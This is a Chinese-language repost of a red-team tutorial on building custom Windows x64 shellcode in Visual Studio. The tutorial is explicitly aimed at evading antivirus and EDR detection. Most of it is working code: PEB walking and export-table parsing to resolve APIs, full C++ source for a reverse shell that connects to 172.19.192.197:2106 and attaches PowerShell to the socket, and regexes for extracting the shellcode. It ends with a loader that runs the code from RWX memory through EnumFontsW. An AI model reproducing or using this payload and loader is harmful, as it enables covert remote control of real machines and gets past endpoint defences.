如何使用 Visual Studio 制作 Windows x86-64 Shellcode

admin 2025年1月26日23:42:30评论21 views字数 13522阅读45分4秒阅读模式

【翻译】How To Craft Your Own Windows x8664 Shellcode w Visual Studio


x62x6Fx75x68x21

现在许多防病毒和 EDR 产品都已经整合了检测由知名工具 (如 msfvenom(Metasploit 的载荷生成器) 或 Sliver(C2)) 生成的 shellcode 的方法和模式。尽管这些工具非常强大,但它们因其知名度而备受关注,使得红队行动在绕过防护方面变得非常困难。虽然可以在加载器中混淆/加密 shellcode,或者分块加载它,以及使用其他技巧,但如果你具备一些 C++ 技能,了解如何制作自己的 shellcode 将会更加有用,因为你可以根据需求进行定制,并且可以实现无限的功能。

我们将创建一个恶意载荷,比如反向 shell,然后将其转换为 x64 shellcode。这里设计的载荷/shellcode 是无阶段的,因为这毕竟只是一个概念验证,但你可以轻松地改进它,并使用反射式 DLL 加载等方法实现分阶段载荷。 我们还将设计一个 不依赖于任何预导入 的载荷,它会自行检索所需的函数并加载必要的 DLL。

作为额外收获,我们将看到如何从表面上看起来完全合法的函数 (如EnumFontsW) 中执行 shellcode,这些函数最初的目的是枚举 Windows 字体🙉。

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

从 PEB 开始

PEB(进程环境块) 是一个用户模式结构,它收集了属于该进程的某些信息,并包含在 EPROCESS 内核结构中。EPROCESS 结构包含只能在内核模式下访问的结构,但 PEB 除外,其信息可以在用户模式下访问。

我们即将设计的程序将只包含一个线程:主线程,它将有自己的 TIB(线程信息块) 结构,也称为 TEB(线程环境块)。这个结构包含了特殊内存段 GS 和 FS 的引用等内容。这些段随后可用于定位 TIB/TEB 的某些部分,包括 PEB。 请注意,FS 段用于 32 位系统,GS 段用于 64 位系统。

这里是所有 TIB/TEB 内部结构、数据及其关联的 FS/GS 段的列表。我们需要定位 PEB,因为它是我们恶意载荷的起点,后面我们还需要它来检索载荷所需的一切。 你可以看到指向 PEB 地址的 GS 段偏移量是 0x60,这个偏移量指向 PEB 的线性地址。

我们将使用内部函数__readgsqword从 GS 段读取该偏移量的值。 我们将把该值转换为指向 PEB 结构的 PPEB 指针。

PPEB peb = (PPEB)__readgsqword(0x60);                                    

获取加载器数据表 (LDR) 内容

接下来我们将从 PEB 中获取指向 PEB_LDR_DATA 结构的指针。

typedef struct _PEB_LDR_DATA
{

     ULONG Length;
     UCHAR Initialized; 
     PVOID SsHandle;
     LIST_ENTRY InLoadOrderModuleList;
     LIST_ENTRY InMemoryOrderModuleList;
     LIST_ENTRY InInitializationOrderModuleList;
     PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;


typedefstruct _LIST_ENTRY
{

     PLIST_ENTRY Flink;
     PLIST_ENTRY Blink;
} LIST_ENTRY, *PLIST_ENTRY;

该结构包含 LIST_ENTRY 结构,我们关注的是 InMemoryOrderModuleList,这是一个双向链表,其中每个元素按照加载顺序代表进程加载的一个模块。第一个元素代表进程模块本身,第二个元素是 NTDLL,第三个是 KERNEL32。我们的载荷只需要后面这两个模块就可以完成剩余的工作,例如加载所需的库文件 (如 WS2_32.dll 或 User32.dll),以及动态链接所需的函数。

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

我们可以通过遍历链表来获取和打印 InMemoryOrderModuleList 结构的内容,确保在两个相同的前向链接相遇时停止:

PPEB_LDR_DATA peb_ldr_data = (PPEB_LDR_DATA)peb->Ldr;

PLIST_ENTRY first_list_entry = (PLIST_ENTRY)&(peb_ldr_data->InMemoryOrderModuleList);
 
PLIST_ENTRY list_entry = first_list_entry->Flink;

while (list_entry->Flink != first_list_entry->Flink) {
 PLDR_DATA_TABLE_ENTRY pldr_data_table_entry = (PLDR_DATA_TABLE_ENTRY)list_entry;
 wcout << pldr_data_table_entry->FullDllName.Buffer << endl;
 list_entry = list_entry->Flink;
}

这将给我们以下输出,展示了按照内存加载顺序排列的已加载模块:

ownshellcoding.exe
ntdll.dll
KERNEL32.DLL
KERNELBASE.dll
ucrtbase.dll
MSVCP140.dll
VCRUNTIME140.dll
VCRUNTIME140_1.dll

为什么要这样做?因为我们首先需要解析两个基本函数,通过这两个函数我们可以完成所有其他操作。这两个函数是 GetProcAddress,它允许我们从模块中获取过程的地址,以及 LoadLibraryA,它使我们能够将模块加载到进程的内存中。这两个函数都在 Kernel32.dll 中,相信我,仅使用这两个函数我们就能构建恶意载荷。

这就是 LDR 结构发挥作用的地方。它将允许我们找到 Kernel32.dll 的地址,并将其内部结构作为 PE(可移植可执行文件)格式对象进行利用。

解析 Kernel32 PE 对象

第一步,我们获取 Kernel32.dll 对象的 LDR_DATA_TABLE_ENTRY 结构的指针,该对象是如上图所示的第三个内存加载模块。然后,我们声明一个 IMAGE_DOS_HEADER 类型的结构指针,以便随后解析 Kernel32 PE 对象的元素。

PLDR_DATA_TABLE_ENTRY kernel32Entry = CONTAINING_RECORD(peb->Ldr->InMemoryOrderModuleList.Flink->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

PIMAGE_DOS_HEADER kernel32DosHeader = (PIMAGE_DOS_HEADER)kernel32Entry->DllBase;
PIMAGE_NT_HEADERS64 kernel32NtHeader = (PIMAGE_NT_HEADERS64)((BYTE*)kernel32DosHeader + kernel32DosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY kernel32ExportsTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)kernel32DosHeader + kernel32NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

DWORD* kernel32addressOfFunctions = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfFunctions);
DWORD* kernel32addressOfNames = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNames);
WORD* kernel32addressOfNameOrdinals = (WORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNameOrdinals);
    

我们不会深入讨论 PE 格式对象的内部结构(假设你已经对其组成部分有基本了解)。在获取 LDR_DATA_TABLE_ENTRY 和 IMAGE_DOS_HEADER 指针后,我们将遍历 Kernel32.dll 的导出表来找到我们的第一个关键函数:GetProcAddress,它随后将用于定位 LoadLibraryA。

然而,我们不要忘记,最终我们要将程序转换为 shellcode,并且某些数据(如稍后用于定位和访问函数的字符串)需要包含在我们将生成的同一二进制代码中。这意味着这些数据不应该出现在可执行文件的其他节区中,因为如果我们要将 shellcode 导出到另一个进程,这会阻止我们访问它们。声明一个 char* 来保存我们的数据就会导致这种情况。请记住,所有内容都必须局限在我们的 .text 节区内。 解决这个问题的一个简单方法是声明 uint64_t 数据类型或 uint64_t 结构体,它们将以十六进制形式包含我们的字符串,唯一的小限制是我们需要以小端格式来做这个!


//47 65 74 50 72 6F 63 41 -> GetProcA (first 8 bytes)
uint64_t GetProcA = 0x41636F7250746547;

struct {
    uint64_t t0, t1;
} text;
    
// User32.dll
// 75 73 65 72 33 32 2E 64 -> User32.d 
// 6C 6C -> ll
text.t0 = 0x642E323372657375; (first 8 bytes)
text.t1 = 0x0000000000006C6C; (last 2 bytes)

现在,我们可以更进一步获取 GetProcAddress 的地址,但首先,我们需要根据 Windows API 中的定义来声明它的函数签名:



/*
FARPROC GetProcAddress(
    [in] HMODULE hModule,
    [in] LPCSTR  lpProcName
    );
*/


typedef FARPROC (*_GetProcAddress)(HMODULE, LPCSTR);

_GetProcAddress GetProcAddress = nullptr;

让我们开始吧!接下来,我们将在 Kernel32.dll 的导出表中搜索以"GetProcA"开头的函数,并动态链接它。


for (DWORD i = 0; i < kernel32ExportsTable->NumberOfNames; i++) {

    DWORD functionRVA = kernel32addressOfFunctions[i];
    constchar* functionName = (constchar*)((BYTE*)kernel32DosHeader + functionRVA);
    constchar* exportedName = (constchar*)((BYTE*)kernel32DosHeader + kernel32addressOfNames[i]);
    
    if (*(uint64_t *)((size_t)kernel32DosHeader + kernel32addressOfNames[i]) == GetProcA) {        
        
        GetProcAddress = (_GetProcAddress)(constvoid*)((size_t)kernel32DosHeader + kernel32addressOfFunctions[kernel32addressOfNameOrdinals[i]]);

现在我们已经获取到了 GetProcAddress 函数,我们可以用它来定位其他所需的地址,包括 LoadLibraryA。LoadLibraryA 将用于加载我们反向 shell 所需的库,即 User32.dll 和 Ws2_32.dll。

以下是完整的恶意负载源代码,该代码将在 PowerShell 句柄上建立一个指向 172.19.192.197 的 TCP 端口 2106 的反向 shell:

#include <WinSock2.h>
#include <windows.h>
#include <winternl.h>
#include <cstdint>

__declspec(noinline) void customshellcode() {

    WSAData wsadata;
    struct sockaddr_in sock_addr;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HMODULE ntdll;
    HMODULE user32;
    HMODULE ws2_32;
    HMODULE kernel32;

    PPEB peb = (PPEB)__readgsqword(0x60); // gs 0x60 & fs 0x30

    PPEB_LDR_DATA peb_ldr_data = (PPEB_LDR_DATA)peb->Ldr;

    PLDR_DATA_TABLE_ENTRY ntdllEntry = CONTAINING_RECORD(peb->Ldr->InMemoryOrderModuleList.Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

    PIMAGE_DOS_HEADER ntdllDosHeader = (PIMAGE_DOS_HEADER)ntdllEntry->DllBase;
    ntdll = (HMODULE)ntdllDosHeader;

    PLDR_DATA_TABLE_ENTRY kernel32Entry = CONTAINING_RECORD(peb->Ldr->InMemoryOrderModuleList.Flink->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

    PIMAGE_DOS_HEADER kernel32DosHeader = (PIMAGE_DOS_HEADER)kernel32Entry->DllBase;
    PIMAGE_NT_HEADERS64 kernel32NtHeader = (PIMAGE_NT_HEADERS64)((BYTE*)kernel32DosHeader + kernel32DosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY kernel32ExportsTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)kernel32DosHeader + kernel32NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    DWORD* kernel32addressOfFunctions = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfFunctions);
    DWORD* kernel32addressOfNames = (DWORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNames);
    WORD* kernel32addressOfNameOrdinals = (WORD*)((BYTE*)kernel32DosHeader + kernel32ExportsTable->AddressOfNameOrdinals);

    struct {
        uint64_t t0, t1;
    } text;

    // Ntdll
    typedef void (*_memset)(void*, intsize_t);

    // Uuser32
    typedef int (*_MessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);

    // Winsock
    typedef int (*_WSAStartup)(WORD, LPWSADATA);
    typedef SOCKET(*_WSASocketA)(intintint, LPWSAPROTOCOL_INFOA, GROUP, DWORD);
    typedef int (*_WSAConnect)(SOCKET, const sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
    typedef int (*_send)(SOCKET, const charintint);
    typedef int (*_recv)(SOCKET, charintint);
    typedef u_short(*_htons)(u_short);
    typedef unsigned long(*_inet_addr)(const char*);

    // Kernel32
    typedef FARPROC(*_GetProcAddress)(HMODULE, LPCSTR);
    typedef HMODULE(*_LoadLibraryA)(LPCSTR);
    typedef BOOL(*_CreateProcessA)(LPCSTR, LPCSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);

    _GetProcAddress GetProcAddress = nullptr;
    _LoadLibraryA LoadLibraryA = nullptr;
    _MessageBox MessageBox = nullptr;
    _WSAStartup WSAStartup = nullptr;
    _WSASocketA WSASocketA = nullptr;
    _WSAConnect WSAConnect = nullptr;
    _send send = nullptr;
    _recv recv = nullptr;
    _memset memset = nullptr;
    _htons htons = nullptr;
    _inet_addr inet_addr = nullptr;
    _CreateProcessA CreateProcessA = nullptr;

    for (DWORD i = 0; i < kernel32ExportsTable->NumberOfNames; i++) {

        DWORD functionRVA = kernel32addressOfFunctions[i];
        constchar* functionName = (constchar*)((BYTE*)kernel32DosHeader + functionRVA);
        constchar* exportedName = (constchar*)((BYTE*)kernel32DosHeader + kernel32addressOfNames[i]);

        // GetProcAddress
        // 47 65 74 50 72 6F 63 41
        // 64 64 72 65 73 73
        uint64_t GetProcA = 0x41636F7250746547;
        if (*(uint64_t*)((size_t)kernel32DosHeader + kernel32addressOfNames[i]) == GetProcA) {

            GetProcAddress = (_GetProcAddress)(constvoid*)((size_t)kernel32DosHeader + kernel32addressOfFunctions[kernel32addressOfNameOrdinals[i]]);

            // LoadLibraryA
            // 4C 6F 61 64 4C 69 62 72
            // 61 72 79 41
            text.t0 = 0x7262694C64616F4C;
            text.t1 = 0x0000000041797261;

            kernel32 = (HMODULE)kernel32DosHeader;
            LoadLibraryA = (_LoadLibraryA)GetProcAddress(kernel32, (LPSTR)&text.t0);

            // User32.dll
            // 75 73 65 72 33 32 2E 64 
            // 6C 6C
            text.t0 = 0x642E323372657375;
            text.t1 = 0x0000000000006C6C;
            user32 = LoadLibraryA((constchar*)&text.t0);

            // LoadLibraryA 
            // 4D 65 73 73 61 67 65 42 
            // 6F 78 41
            text.t0 = 0x426567617373654D;
            text.t1 = 0x000000000041786F;
            MessageBox = (_MessageBox)GetProcAddress(user32, (LPSTR)&text.t0);

            // Ws2_32.dll
            // 57 73 32 5F 33 32 2E 64
            // 6C 6C
            text.t0 = 0x642E32335F327357;
            text.t1 = 0x0000000000006C6C;
            ws2_32 = LoadLibraryA((constchar*)&text.t0);

            // WSAStartup
            // 57 53 41 53 74 61 72 74 
            // 75 70
            text.t0 = 0x7472617453415357;
            text.t1 = 0x0000000000007075;
            WSAStartup = (_WSAStartup)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);

            // WSASocketA
            // 57 53 41 53 6F 63 6B 65 
            // 74 41
            text.t0 = 0x656B636F53415357;
            text.t1 = 0x0000000000004174;
            WSASocketA = (_WSASocketA)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);

            // WSAConnect
            // 57 53 41 43 6F 6E 6E 65 
            // 63 74
            text.t0 = 0x656E6E6F43415357;
            text.t1 = 0x0000000000007463;
            WSAConnect = (_WSAConnect)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);

            // memset 
            // 6D 65 6D 73 65 74
            text.t0 = 0x00007465736D656D;
            text.t1 = 0x0000000000000000;
            memset = (_memset)GetProcAddress((HMODULE)ntdll, (constchar*)&text.t0);

            // send
            // 73 65 6E 64
            text.t0 = 0x00000000646E6573;
            send = (_send)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);

            // recv
            // 72 65 63 76
            text.t0 = 0x0000000076636572;
            recv = (_recv)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);

            // htons
            // 68 74 6F 6E 73
            text.t0 = 0x000000736E6F7468;
            htons = (_htons)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);

            // inet_addr
            // 69 6E 65 74 5F 61 64 64 
            // 72
            text.t0 = 0x6464615F74656E69;
            text.t1 = 0x0000000000000072;
            inet_addr = (_inet_addr)GetProcAddress((HMODULE)ws2_32, (constchar*)&text.t0);

            // CreateProcessA
            // 43 72 65 61 74 65 50 72 
            // 6F 63 65 73 73 41
            text.t0 = 0x7250657461657243;
            text.t1 = 0x000041737365636F;
            CreateProcessA = (_CreateProcessA)GetProcAddress((HMODULE)kernel32, (constchar*)&text.t0);

            break;
        }
    }

    // Reverse shell inspired by https://cocomelonc.github.io/tutorial/2021/09/15/simple-rev-c-1.html by @cocomelonc

    int init = WSAStartup(MAKEWORD(22), &wsadata);
    SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);

    // 2106
    // 08 3A
    text.t0 = 0x83A;
    text.t1 = 0x0000000000000000;

    short port = static_cast(text.t0);
    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(port);

    // 172.19.192.197
    // 31 37 32 2E 31 39 2E 31 
    // 39 32 2E 31 39 37
    text.t0 = 0x312E39312E323731;
    text.t1 = 0x00003739312E3239;

    sock_addr.sin_addr.s_addr = inet_addr((constchar*)&text.t0);

    int conn = WSAConnect(sock, (SOCKADDR*)&sock_addr, sizeof(sock_addr), NULLNULLNULLNULL);
    memset(&si, 0sizeof(si));

    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdInput = si.hStdOutput = (HANDLE)sock;

    // powershell.exe
    // 70 6F 77 65 72 73 68 65  
    // 6C 6C 2E 65 78 65
    text.t0 = 0x6568737265776F70;
    text.t1 = 0x00006578652E6C6C;

    CreateProcessA(NULL, (constchar*)&text.t0, NULLNULL, TRUE, 0NULLNULL, (LPSTARTUPINFOA)&si, &pi);
}

int main() {

    customshellcode();
    return0;
}
如何使用 Visual Studio 制作 Windows x86-64 Shellcode

我们可以确认已成功建立了与远程机器的反向 shell 连接。现在,是时候将所有这些转换为 shellcode 了!

将 payload 转换为 shellcode

首先,确保我们处于 release 模式,并选择构建目标 (x64 或 x32)。

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

不要使用 Debug 模式,因为 Visual Studio 可能会添加某些符号和后台指令,这会影响汇编代码的一致性和独立性。

接下来,确保在编译设置中禁用/GS 选项。此选项会向二进制代码添加安全 cookie,这也可能影响 shellcode 的独立性。

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

然后,在包含 payload 的函数上设置断点。在我的例子中,它名为 custom_shellcode()。

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

接着使用 Visual Studio 本地调试器启动程序。程序执行将在您设置的断点处停止。现在,按 Ctrl+Alt+D 打开代码的反汇编视图。

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

为了便于我们接下来要做的事情,请确保选择显示代码字节。

之后,将函数的汇编代码复制到文本编辑器中,并应用一组正则表达式来格式化 shellcode。搜索和替换的正则表达式集如下:

// 1. 替换为空,这将删除助记符和后面的指令
Regex: b(?:mov|movsxd|ret|cmp|lea|call|inc|jmp|movzx|push|nop|ret|xor|sub|pop|jb|add|je|test)b.*$ 

// 2. 通过在搜索栏中搜索空格字符并将其替换为空来删除所有空格。

// 3. 通过搜索 (.{30}) 并将其替换为 $1n 来包装 Shellcode

// 4. 通过搜索 (.{2}) 并将其替换为 x$1,然后搜索 (^|$) 并将其替换为 " 来格式化 Shellcode,添加 'x' 和引号

以下是结果:

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

太棒了!现在我们已经得到了 shellcode,可以将它复制到负责执行它的程序中。为此,我们将从一个本不是为此目的设计的例程 EnumFontsW 来启动我们的 shellcode。

使用 EnumFontsW 例程来启动我们的 shellcode 为执行过程增加了一个隐蔽性元素。由于 EnumFontsW 是 Windows 中用于枚举可用字体的合法函数,它可能不会引起防病毒软件或终端检测与响应 (EDR) 系统的怀疑,这使其成为执行我们的 shellcode 而不引起不必要注意的理想选择。这种技术常用于各种形式的代码注入和 shellcode 执行,以绕过安全措施。

以下是用于启动 shellcode 的完整程序:

#include <iostream>
#include <stdint.h>

#define WIN32_LEAN_AND_MEAN
#include <windows.h>

#pragma warning (push, 0)
#include <winternl.h>
#include <cstdint>

// Paste your shellcode there
unsignedchar sc[] =
"x48x89x5Cx24x20x55x56x57...."

int main() {        
    LPVOID scBaseAddr = VirtualAlloc(NULLsizeof(sc), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(scBaseAddr, sc, sizeof(sc));

    HDC dc = GetDC(NULL);
    EnumFontsW(dc, NULL, (FONTENUMPROCW)scBaseAddr, NULL);

    return0;
}

如何使用 Visual Studio 制作 Windows x86-64 Shellcode

轰!Shellcode 成功执行了!!😺🏴☠️

原文始发于微信公众号(securitainment):如何使用 Visual Studio 制作 Windows x86-64 Shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月26日23:42:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何使用 Visual Studio 制作 Windows x86-64 Shellcodehttps://cn-sec.com/archives/3674442.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息